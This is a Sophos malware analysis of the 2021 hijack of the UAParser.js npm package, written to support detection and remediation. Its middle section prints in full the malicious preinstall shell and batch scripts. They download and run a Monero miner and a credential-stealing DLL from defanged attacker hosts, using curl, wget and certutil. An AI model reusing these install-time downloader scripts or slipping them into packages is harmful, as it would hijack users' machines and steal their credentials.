Node poisoning: hijacked package delivers coin miner and credential-stealing backdoor

news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor

Sean Gallagher October 25, 2021

On October 22, the NPM repository account associated with a popular node.js was briefly hijacked and used to distribute a malicious script. On Linux machines, the script installed a Monero miner; on Windows systems, it also dropped malware that attempted to harvest user credential information. MacOS systems were unaffected.

This attack highlights the previously-exposed hazards associated with open-source repository poisoning. There have been three other NPM-based attacks in October, using fraudulent JavaScript libraries that claimed to have the same functionality as the one that was hijacked—all of which instead attempted to install miners. But the hijacking was a much greater threat due to the large volume of downloads of the affected library (which saw over 7 million downloads in the last week). According to the developer's web page, the module is used by companies such as Facebook, Apple, Amazon, Microsoft, Slack, IBM, HPE, Dell, Oracle, Mozilla, Shopify, and Reddit.

Because of that download volume, there may have been many systems impacted by the maliciously altered module in the short window that it was hijacked. To date, Sophos has identified a relatively small number of systems exposed to the attack, but we continue to monitor the situation and investigate the malware delivered by the script.

The hijack

Sometime on Friday, the hijacker exploited the NPM account of the developer of UAParser.js—a library used by web applications to detect information about user's browser types and operating systems. The attacker used that access to modify the deployment package for the library, adding instructions to run a new script named preinstall.js. Also added to the package were preinstall.bat and preinstall.sh—the Windows and Linux scripts to be executed by the node.js package. The hijacker then pushed out the changes as three new versions: 0.7.29, 0.8.0, and 1.0.0.

A number of users reported malware detections resulting from the new module pushes through the developer's GitHub page. Within a few hours, the developer responded that he had noticed the hijacking after receiving a bombardment of spam email messages, likely intended to prevent him from getting alerts about his compromised account. "Luckily the effect [was] quite the contrary," he wrote, adding that he had reported the modified versions as malware, but could not unpublish them. After some discussion about the impact, he republished clean versions of the library with the version numbers 0.7.30, 0.8.1, and 1.0.1.

It is not yet known how many systems downloaded the malicious versions of the UAParser.js package.

The payload

The preinstall.js script performed operating system detection. On MacOS systems, it did nothing; for Linux and Windows, it executed the corresponding script files (using a bash shell or cmd.exe, depending on the target).

The Linux script first made a web request from an IP address checker to look for the country code associated with the system running the script. If the check returned a country code for Russia, Ukraine, Kazakhstan or Belarus, the script then terminated. If not, it would then download a file named jsextension from a server in Latvia (hxxp://159[.]148[.]186[.]228/download/jsextension), first attempting to use curl and failing over to wget. It then executed the file—a copy of the XMRig miner—with parameters to connect it to the hijacker's own wallet:

```
IP=$(curl -k hxxps://freegeoip[.]app/xml/ | grep 'RU\|UA\|BY\|KZ')
If  [ -z "$IP" ]
then
var=$(pgrep jsextension)
if [ -z "$var" ]
then
curl hxxp://159[.]148[.]186[.]228/download/jsextension -o jsextension
if [ ! -f jsextension ]
then
wget hxxp://159[.]148[.]186[.]228/download/jsextension -O jsextension
fi
chmod +x jsextension
./jsextension -k --tls --rig-id q -o pool[.]minexmr[.]com:443 -u
49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjbLXWQd
 --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
fi
fi
```

The Windows payload batch file, preinstall.bat, did not include an IP address check. It also attempted to download a file from the same Latvian server—first trying to directly download a Windows executable version of the miner (jsextension.exe) using curl, then wget if that failed. If both curl and wget failed to directly download the executable, the script then used Windows' certificate utility (certutil.exe) to download a Base64-encoded version of the file and decode it as an executable.

The batch file also attempted to download another file—a Windows dynamic-link library retrieved from citationsherbe[.]at, a host in Russia—using the same methods. After retrieving both files, the batch script checks to see if there is already a copy of the miner running; if not, it executes the miner and uses Windows' regsvr32.exe "registration" process to execute the malicious DLL (saved as "create.dll").

```
@echo off
curl hxxp://159[.]148[.]186[.]228/download/jsextension.exe -o jsextension.exe
if not exist jsextension.exe (
wget hxxp://159[.]148[.]186[.]228/download/jsextension.exe -O jsextension.exe
)
if not exist jsextension.exe (
certutil.exe -urlcache -f hxxp://159[.]148[.]186[.]228/download/jsextension.exe
jsextension.exe
)
curl hxxps://citationsherbe[.]at/sdd.dll -o create.dll
if not exist create.dll (
wget hxxps://citationsherbe[.]at/sdd.dll -O create.dll
)
if not exist create.dll  (
certutil.exe -urlcache -f hxxps://citationsherbe[.]at/sdd.dll create.dll
)
set exe_1=jsextension.exe
set "count_1=0"
>tasklist.temp (
tasklist /NH /FI "IMAGENAME eq %exe_1%"
)
for /f %%x in (tasklist.temp) do (
if "%%x" EQU "%exe_1%" set /a count_1+=1
)
if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o
pool[.]minexmr[.]com:443 -u
49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjbLXWQd
 --cpu-max-threads-hint=50 --donate-level=1 --background & regsvr32.exe -s
create.dll)
del tasklist.temp
```

That code is a packer identical to that being used in recent Qbot malware attacks. The packer launches information-stealing malware—possibly a new variant of Danabot; there have been reports that the malware targets VNC and FTP clients, mail clients, web browsers and a host of other Internet-connected applications for credential theft, as well as Windows' own credential manager. Credentials are exfiltrated to one of several IP addresses, included in our indicators of compromise.

Since the hijack attack was first detected, the attacker behind the DLL has pushed out a new version–essentially a rebuild of the packer, with no real changes to behavior. We will update this post and our IoC file on SophosLabs' GitHub with new information as it becomes available.

Antidotes to a poisoned node

The repeated attempts to use NPM to spread miners to Linux systems over the past month is further proof that Linux servers continue to be a very attractive target for cybercriminals—and stealing processing power for cryptomining is an easy way to monetize criminal access to these systems. Many Linux servers run without any antivirus protection installed because

their operators want to avoid taking a performance hit, but that makes detection and mitigation of attacks like these more complex—and mining Monero for someone else isn't exactly optimizing server performance.

Sophos' has deployed Linux detections for this malicious NPM package and its components. However, Linux server administrators will still have to remove the unauthorized miner if those post-infection components are detected. All Linux administrators with systems that use NPM packages should review the list of indicators of compromise on SophosLabs' GitHub page to ensure they haven't been infected by the malicious miner.

Security operations center teams can also check the URLs and IP addresses in the IOCs against their firewall and DNS logs for signs of the miner and malware. And as Florian Roth of Nextron Systems suggests, administrators and SOC teams should also check for domains associated with coin mining applications in their organization's network traffic if such activity is banned on their networks to discover rogue miners.

A number of the behaviors in the NPM attack trigger generic Sophos detections on Windows, so Windows systems protected by Sophos were protected at the time of the attack. The miner was also proactively detected by Sophos on Windows as XMRIG Miner PUA, and the credential theft malware was detected prior to the attack as Mal/EncPk-AQC. Additional detections for the NPM scripts were released soon after the attack. The full list of relevant detection names is below:

- JS/BadNode-A – the main JS installer from the bad NPM
- BAT/BadNode-A – the Windows BAT installer
- SH/BadNode-A – the Linux shell installer
- XMRig Miner (PUA) – generic proactive potentially unwanted application detection for the Windows miner
- Mal/EncPk-AQC – a generic proactive detection for the Windows trojan DLL

Anyone using NPM packages to support their applications should review their installed libraries for compromised versions and update if necessary.

A list of IOCs is available on SophosLabs' GitHub page.